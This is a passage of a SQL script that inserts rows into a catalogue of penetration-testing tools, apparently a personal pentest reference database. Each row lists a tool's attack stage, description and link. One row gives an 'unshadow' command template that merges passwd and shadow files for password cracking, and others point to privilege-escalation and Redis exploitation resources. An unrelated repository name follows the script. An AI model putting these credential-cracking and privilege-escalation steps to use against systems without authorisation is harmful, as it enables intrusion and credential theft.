'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
zhangqianqianQQ / MachineVisionAlgorithm机器视觉算法库
